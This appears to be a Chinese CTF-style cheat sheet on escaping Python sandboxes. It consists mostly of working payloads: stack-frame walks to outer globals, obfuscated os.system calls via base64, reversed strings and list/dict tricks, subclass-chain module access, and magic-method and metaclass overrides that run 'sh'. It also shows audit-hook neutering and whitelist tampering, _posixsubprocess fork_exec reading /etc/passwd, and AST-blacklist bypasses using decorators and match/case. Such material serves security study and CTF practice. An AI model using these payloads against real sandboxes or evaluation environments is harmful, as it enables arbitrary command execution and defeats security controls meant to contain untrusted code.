1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 s3cret="this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 # frame = [x for x in g][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象 b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals={} code = compile(codes, "test", "exec") exec(code,locals) print(locals["b"])
代码说明: 1.使用next获取到的就是yield定义的值,这里获取到的就是g.gi_frame.f_back 2.使用g.gi_frame.f_back的话,那么g = f()就必须为g,用的就是这个生成器对象的栈帧 3.compile(codes, “test”, “exec”)就是设置了名称为test的python沙箱环境
小改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 s3cret="this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 print(frame) print(frame.f_back) print(frame.f_back.f_back) waff() ''' locals={} code = compile(codes, "test", "exec") exec(code,locals)
栈帧顺序
1 f -> waff -> <module>(test) -> <module>(1.py)
成功逃逸
获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量了
困惑 但是yield g.gi_frame.f_back并不能修改为yield g.gi_frame
这样获取到的栈帧经过f_back后获得的是None
要是再来一个f_back就会报错
就记住吧,在生成器函数内部直接访问
栈帧(粗略版) 生成器 通过生成器获取全局栈帧 gi_code: 生成器对应的code对象。 gi_frame: 生成器对应的frame(栈帧)对象。 gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。 gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。 gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。
每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。
栈帧包含了以下几个重要的属性: f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。 f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。 f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。 f_lasti: 整数,表示最后执行的字节码指令的索引。 f_back: 指向上一级调用栈帧的引用,用于构建调用栈。
通过f_back获取上一帧的变量从而逃逸
1 (sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
1 2 3 a=(a.gi_frame.f_back.f_back for i in [1]) a=[x for x in a][0] globals=a.f_back.f_back.f_globals
异步函数 通过异步函数获取该函数的局部栈帧
1 2 async def a():pass a().cr_frame.f_globals
signal
1 (sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
字符串匹配 base64变形 1 2 3 4 5 6 7 >>> import base64 >>> base64.b64encode('__import__') 'X19pbXBvcnRfXw==' >>> base64.b64encode('os') 'b3M=' >>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc') 0
逆序 1 2 3 4 >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) kali >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) kali
list+dict 1 2 3 4 list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])] __import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]) list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])] list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]
unicode Python 3 开始支持非ASCII字符的标识符。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
过滤属性名 getattr
1 getattr(object, name[, default])
1 2 3 4 5 6 7 8 >>> getattr({},'__class__') <class 'dict'> >>> getattr(os,'system') <built-in function system> >>> getattr(os,'system')('cat /etc/passwd') root:x:0:0:root:/root:/usr/bin/zsh >>> getattr(os,'system111',os.system)('cat /etc/passwd') root:x:0:0:root:/root:/usr/bin/zsh
__getattribute__
1 2 class MyClass: def __getattribute__(self, name):
getattr 函数在调用时,实际上就是调用这个类的 __getattribute__方法
1 2 3 4 >>> os.__getattribute__ <method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0> >>> os.__getattribute__('system') <built-in function system>
__getattr__
__getattr__是 Python 的一个魔术方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError异常
1 2 3 class MyClass: def __getattr__(self, name): return 'You tried to get ' + name
__globals__ __globals__可以用 func_globals 直接替换
1 2 3 ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals ''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")
基类 __mro__、__bases__、__base__互换
1 2 3 4 5 6 7 8 9 10 11 12 13 ''.__class__.__mro__[2] [].__class__.__mro__[1] {}.__class__.__mro__[1] ().__class__.__mro__[1] [].__class__.__mro__[-1] {}.__class__.__mro__[-1] ().__class__.__mro__[-1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] [].__class__.__base__ ().__class__.__base__ {}.__class__.__base__
import __import__ 除了可以使用 import,还可以使用 __import__和 importlib.import_module来导入模块 importlib 需要进行导入后才能够使用
1 2 __import__('os') importlib.import_module('os').system('ls')
__loader__ __loader__.load_module底层实现与 import 不同, 可以绕过audithook
1 __loader__.load_module('os')
[] 调用方法来获取属性
列表方法 __getitem__ pop
1 2 list.__getitem__(0) list.pop(0)
字典方法 __getitem__ pop get setdefault
1 2 3 4 dict.__getitem__('__builtins__') dict.pop('__builtins__') dict.get('__builtins__') dict.setdefault('__builtins__')
‘’ str
1 2 3 4 5 6 7 8 >>> ().__class__.__new__ <built-in method __new__ of type object at 0x9597e0> >>> str(().__class__.__new__) '<built-in method __new__ of type object at 0x9597e0>' >>> str(().__class__.__new__)[21] 'w' >>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3] 'whoami'
chr
1 2 3 4 >>> chr(56) '8' >>> chr(100) 'd'
list dict
__doc__ __doc__变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串
1 2 ().__doc__.find('s') ().__doc__[19]+().__doc__[86]+().__doc__[19]
bytes 接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串
1 bytes([115, 121, 115, 116, 101, 109]).decode()
+ 构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__中取
1 str().join(().__doc__[19],().__doc__[23])
数字 返回值 使用一些函数的返回值获取
0:int(bool([]))、Flase、len([])、any(()) 1:int(bool([“”]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())
其他数字通过运算获取
repr
1 2 3 4 >>> len(repr(True)) 4 >>> len(repr(bytearray)) 19
len list dict 避免出现运算符
1 2 3 0 -> len([]) 2 -> len(list(dict(aa=()))[len([])]) 3 -> len(list(dict(aaa=()))[len([])])
空格 使用括号替换
1 @print\r@set\r@open\r@input\rclass\x0ca:pass
运算符 == 可以用 in 来替换 or 可以用| + -a-b来替换
1 2 3 4 5 for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: ans = i[0]==i[1] or i[2]==i[3] print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans) print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans) print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)
and 可以用& *替代
1 2 3 4 for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]: ans = i[0]==i[1] and i[2]==i[3] print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans) print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)
() 装饰器 @
1 2 3 @exec @input def a():pass # or class a:pass
1 2 3 4 5 @print @set @open @input def a():pass # or class a:pass
1 @print\r@set\r@open\r@input\rclass\x0ca:pass
魔术方法 enum.EnumMeta.__getitem__
过滤括号调用函数 通过覆盖魔法方法调用函数
1 2 3 from os import system help.__class__.__getattribute__ = system help.calc
在__builtins__中,类似、可操作的对象还有
1 2 3 4 5 6 help quit license exit credits copyright
通常为了执行命令,最好是覆盖为只有一个参数并且方便可控的魔法方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from os import system help.__class__.__delattr__ = system del help.calc help.__class__.__eq__ = system help == "calc" help.__class__.__ge__ = system help >= "calc" help.__class__.__gt__ = system help > "calc" help.__class__.__le__ = system help <= "calc" help.__class__.__lt__ = system help < "calc" help.__class__.__ne__ = system help != "calc" help.__class__.__getattribute__ = system help.calc
f字符串 1 f'{__import__("os").system("whoami")}'
builtins函数 eval list dict
1 2 3 4 5 6 7 8 9 >>> eval('str') <class 'str'> >>> eval('bool') <class 'bool'> >>> eval('st'+'r') <class 'str'> >>> eval(list(dict(s_t_r=1))[0][::2]) <class 'str'>
点号和逗号 内建函数可以使用eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。
模块内的函数可以先使用 __import__导入函数,然后使用 vars() 进行获取
1 2 >>> vars(__import__('binascii'))['a2b_base64'] <built-in function a2b_base64>
命名空间限制 python交互式解析器不能指定命名空间,可以脚本模拟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def repl(): global_namespace = {} local_namespace = {} while True: try: code = input('>>> ') try: # Try to eval the code first. result = eval(code, global_namespace, local_namespace) except SyntaxError: # If a SyntaxError occurs, this might be because the user entered a statement, # in which case we should use exec. exec(code, global_namespace, local_namespace) else: print(result) except EOFError: break except Exception as e: print(f"Error: {e}") if __name__ == "__main__": repl()
限制部分模块 exec 函数的第二个参数可以指定命名空间 可以通过获取其他命名空间里的 __builtins__绕过
1 2 __import__('types').__builtins__ __import__('string').__builtins__
清空builtins 使用Python继承链获取
长度限制 交互式 input 传入一个 input 打开一个新的输入流,然后再输入最终的 payload
sys.stdin.read() 注意输入完毕之后按 ctrl+d 结束输入
1 2 3 4 5 >>> eval(sys.stdin.read()) __import__('os').system('whoami') kali 0 >>>
sys.stdin.readline()
1 2 >>> eval(sys.stdin.readline()) __import__('os').system('whoami')
sys.stdin.readlines()
1 2 >>> eval(sys.stdin.readlines()[0]) __import__('os').system('whoami')
在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。
breakpoint pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
help help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh 然后输入 os,此时会进入 os 的帮助文档。
然后在输入 !sh就可以拿到 /bin/sh, 输入 !bash则可以拿到 /bin/bash
Web 例如Flask,通过HTTP传入参数,与SSTI的打法类似
1 2 url_for.__globals__[request.args.a] lipsum.__globals__.os[request.args.a]
多行限制 exec exec 可以支持换行符与;
1 2 >>> eval("exec('__import__(\"os\")\\nprint(1)')") 1
compile compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码
1 eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
海象表达式 海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作
1 <expression> := <value> if <condition> else <value>
借助海象表达式,可以通过列表来替代多行代码
1 eval('[a:=__import__("os"),b:=a.system("id")]')
变量覆盖 在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用, 通过访问 sys.modules[‘__main__‘]就可以访问当当前模块定义的所有函数以及全局变量
除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数
gc gc模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互
gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。
gc.get_objects():这个函数会返回当前被管理的所有对象的列表。
gc.get_referrers(*objs):这个函数会返回指向 objs中任何一个对象的对象列表。
1 2 3 4 5 6 7 8 9 for obj in gc.get_objects(): if '__name__' in dir(obj): if '__main__' in obj.__name__: print('Found module __main__') mod_main = obj if 'os' == obj.__name__: print('Found module os') mod_os = obj mod_main.__exit = lambda x : print("[+] bypass")
一些版本会触发 gc.get_objects hook 导致无法成功
traceback 主动抛出异常, 并获取其后要执行的代码, 然后将__exit进行替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 try: raise Exception() except Exception as e: _, _, tb = sys.exc_info() nxt_frame = tb.tb_frame # Walk up stack frames until we find one which # has a reference to the audit function while nxt_frame: if 'audit' in nxt_frame.f_globals: break nxt_frame = nxt_frame.f_back # Neuter the __exit function nxt_frame.f_globals['__exit'] = print # Now we're free to call whatever we want os.system('cat /flag*')
一些版本会触发object.__getattr__hook
audit hook Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动
import:发生在导入模块时。
open:发生在打开文件时。
write:发生在写入文件时。
exec:发生在执行Python代码时。
compile:发生在编译Python代码时。
socket:发生在创建或使用网络套接字时。
os.system,os.popen等:发生在执行操作系统命令时。
subprocess.Popen,subprocess.run等:发生在启动子进程时。
__loader__ __loader__实际上指向的是 _frozen_importlib.BuiltinImporter类,也可以通过别的方式进行获取
1 2 3 4 5 6 7 8 >>> ().__class__.__base__.__subclasses__()[84] <class '_frozen_importlib.BuiltinImporter'> >>> __loader__ <class '_frozen_importlib.BuiltinImporter'> >>> ().__class__.__base__.__subclasses__()[84].__name__ 'BuiltinImporter' >>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0] <class '_frozen_importlib.BuiltinImporter'>
__loader__.load_module也有一个缺点就是无法导入非内建模块
_posixsubprocess _posixsubprocess模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了_posixsubprocess.
该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.
3.11
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def fork_exec( __process_args: Sequence[StrOrBytesPath] | None, __executable_list: Sequence[bytes], __close_fds: bool, __fds_to_keep: tuple[int, ...], __cwd_obj: str, __env_list: Sequence[bytes] | None, __p2cread: int, __p2cwrite: int, __c2pred: int, __c2pwrite: int, __errread: int, __errwrite: int, __errpipe_read: int, __errpipe_write: int, __restore_signals: int, __call_setsid: int, __pgid_to_set: int, __gid_object: SupportsIndex | None, __groups_list: list[int] | None, __uid_object: SupportsIndex | None, __child_umask: int, __preexec_fn: Callable[[], None], __allow_vfork: bool, ) -> int: ...
__process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。
__executable_list: 可执行程序路径的列表。
__close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。
__fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。
__cwd_obj: 新进程的工作目录。
__env_list: 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。
__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。
__errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。
__restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。
__call_setsid: 如果设置为1,则在新进程中创建新的会话。
__pgid_to_set: 设置新进程的进程组 ID。
__gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。
__child_umask: 设置新进程的 umask。
__preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。
__allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。
1 2 3 4 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
1 __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)
篡改内置函数 修改白名单
1 WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
1 __builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
1 2 3 exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)") exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")
不导入而获取模块 1 2 3 4 5 6 7 8 # 获取 sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"] # 获取 os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"] # 其他的 payload 也都不会触发 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
Opcode 修改co_code python3.11引入专用字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import dis class OpGet: def __getattr__(self, op): return dis._all_opmap[op] O = OpGet() name = 'breakpoint' cod = bytes([ O.LOAD_GLOBAL_BUILTIN, 1, 6, 0, # index, 0 6, 0, # index, 0 6, 0, # module key version, 0 6, 0, # builtins key version, 0 O.CALL_PY_EXACT_ARGS, 0, 6, 0, # index, 0 6, 0, # module key version, 0 6, 0, # builtins key version, 0 O.LOAD_ATTR_CLASS, 0, ])
1 2 3 4 5 6 7 8 9 10 11 12 from opcode import opmap code = bytes([ 111, 1, # LOAD_GLOBAL_BUILTIN 6,6,6,6,6,6,6,6, # trash 29, 0, # CALL_BUILTIN_CLASS 6,6,6,6,6,6, # other trash 191,0 # unknown opcode -> error ]) print(code.hex())
输出限制 异常处理 KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)
FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。
ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。
KeyError KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。
FileNotFoundError FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。
但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉
1 2 open(_) [Errno 2] No such file or directory: 'varxxx'
ValueError ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:
1 2 int(_) ValueError: invalid literal for int() with base 10: 'varxxx
AST沙箱 Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。
ast.Module: 表示一个整个的模块或者脚本。
ast.FunctionDef: 表示一个函数定义。
ast.AsyncFunctionDef: 表示一个异步函数定义。
ast.ClassDef: 表示一个类定义。
ast.Return: 表示一个return语句。
ast.Delete: 表示一个del语句。
ast.Assign: 表示一个赋值语句。
ast.AugAssign: 表示一个增量赋值语句,如x += 1。
ast.For: 表示一个for循环。
ast.While: 表示一个while循环。
ast.If: 表示一个if语句。
ast.With: 表示一个with语句。
ast.Raise: 表示一个raise语句。
ast.Try: 表示一个try/except语句。
ast.Import: 表示一个import语句。
ast.ImportFrom: 表示一个from…import…语句。
ast.Expr: 表示一个表达式。
ast.Call: 表示一个函数调用。
ast.Name: 表示一个变量名。
ast.Attribute: 表示一个属性引用,如x.y。 AST 沙箱会将用户的输入转化为操作码,一般情况下考虑绕过 AST 黑名单 打印AST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import os import ast BAD_ATS = { ast.Attribute, ast.AST, ast.Subscript, ast.comprehension, ast.Delete, ast.Try, ast.For, ast.ExceptHandler, ast.With, ast.Import, ast.ImportFrom, ast.Assign, ast.AnnAssign, ast.Constant, ast.ClassDef, ast.AsyncFunctionDef, } a = ''' [ system:=111, bash:=222 ] ''' print(ast.dump(ast.parse(a, mode='exec'), indent=4)) for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)): if type(x) in BAD_ATS: print(type(x)) exit() print("[+] OK")
ast.Call 装饰器 绕过
1 2 3 4 @exec @input class X: pass
由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单
1 2 3 4 5 6 7 8 9 import os def fake_wrapper(f): return '/bin/sh' @getattr(os,"system") @fake_wrapper def something(): pass
自定义装饰器
1 2 3 4 5 6 7 8 9 import os def fake_wrapper(f): return '/bin/sh' @os.system @fake_wrapper def something(): pass
函数覆盖 obj[argument]实际上是调用的 obj.__getitem__方法.因此只需要覆盖其 __getitem__方法, 即可在使用 obj[argument]执行代码
1 2 3 4 >>> class A: ... __getitem__ = exec ... >>> A()['__import__("os").system("ls")']
metaclass 在 Python中,类本身也是对象,元类就是创建这些类(即类对象)的类。 类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性
在不使用构造函数的情况下触发
1 2 3 4 5 6 7 class Metaclass(type): __getitem__ = exec class Sub(metaclass=Metaclass): pass Sub['import os; os.system("sh")']
除了 __getitem__之外其他方法的利用方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __sub__ (k - 'import os; os.system("sh")') __mul__ (k * 'import os; os.system("sh")') __floordiv__ (k // 'import os; os.system("sh")') __truediv__ (k / 'import os; os.system("sh")') __mod__ (k % 'import os; os.system("sh")') __pow__ (k**'import os; os.system("sh")') __lt__ (k < 'import os; os.system("sh")') __le__ (k <= 'import os; os.system("sh")') __eq__ (k == 'import os; os.system("sh")') __ne__ (k != 'import os; os.system("sh")') __ge__ (k >= 'import os; os.system("sh")') __gt__ (k > 'import os; os.system("sh")') __iadd__ (k += 'import os; os.system("sh")') __isub__ (k -= 'import os; os.system("sh")') __imul__ (k *= 'import os; os.system("sh")') __ifloordiv__ (k //= 'import os; os.system("sh")') __idiv__ (k /= 'import os; os.system("sh")') __itruediv__ (k /= 'import os; os.system("sh")') # (Note that this only works when from __future__ import division is in effect.) __imod__ (k %= 'import os; os.system("sh")') __ipow__ (k **= 'import os; os.system("sh")') __ilshift__ (k<<= 'import os; os.system("sh")') __irshift__ (k >>= 'import os; os.system("sh")') __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')
1 2 3 4 5 6 7 class Metaclass(type): __sub__ = exec class Sub(metaclass=Metaclass): pass Sub-'import os; os.system("sh")'
exceptions 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化
1 2 3 4 5 6 class RCE(Exception): def __init__(self): self += 'import os; os.system("sh")' __iadd__ = exec raise RCE
1 2 3 4 5 6 class X: def __init__(self, a, b, c): self += "os.system('sh')" __iadd__ = exec sys.excepthook = X 1/0
Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__
1 2 3 4 5 6 class X(): def __init__(self, a, b, c, d, e): self += "print(open('flag').read())" __iadd__ = eval __builtins__.__import__ = X {}[1337]
license 读取文件
1 2 3 4 5 6 __builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass
当调用 license()时会打印这个文件
将 help 类的 __enter__方法覆盖为 license方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的
1 2 3 4 5 6 7 8 9 class MyContext: pass __builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"] a = MyContext() a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass
ast.Attribute 绕过ast.Attribute获取属性
python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 item = 2 match item: case 1: print("One") case 2: print("Two") # Two item = (1, 2) match item: case (x, y, z): print(f"{x} {y} {z}") case (x, y): print(f"{x} {y}") case (x,): print(f"{x}")
匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x
1 2 3 4 5 6 7 8 9 10 11 class AClass: def __init__(self, value): self.thing = value item = AClass(32) match item: case AClass(thing=x): print(f"Got {x = }!") # Got x = 32!
可以绕过点号
1 2 3 4 5 match str(): case str(__class__=x): print(x==''.__class__) # True
‘’.__class__.__base__.__subclasses__()
1 2 3 4 5 6 7 match str(): case object(__class__=clazz): match clazz: case object(__base__=bass): match bass: case object(__subclasses__=subclazz): print(subclazz)
ast.Assign 绕过ast.Assign赋值,可以使用海象表达式 海象表达式解析后是ast.NamedExpr
ast.Constant 限制了数字、字符串 和字符串关键词绕过一样用list+dict
ast.Subscript 限制索引 min 函数可以获取列表中最小的元素,当列表中只有一个元素时,可以直接取值
1 2 3 min(list(dict(system=[]))) # system min(list(dict(_wrap_close=[]))) # _wrap_close min(list(dict(bash=[]))) # bash
如果要获取字典元素,可以利用 get 函数
1 2 3 match globals: case object(get=get_func): get_func("system")
ast.For 限制循环 filter、iter、next
1 2 3 4 5 6 7 8 9 def filter_func(subclazzes_item): [ _wrap_close:=min(list(dict(_wrap_close=[])))] match subclazzes_item: case object(__name__=name): if name==_wrap_close: return subclazzes_item [ subclazzes_item:=min(filter(filter_func,subclazzes())) ]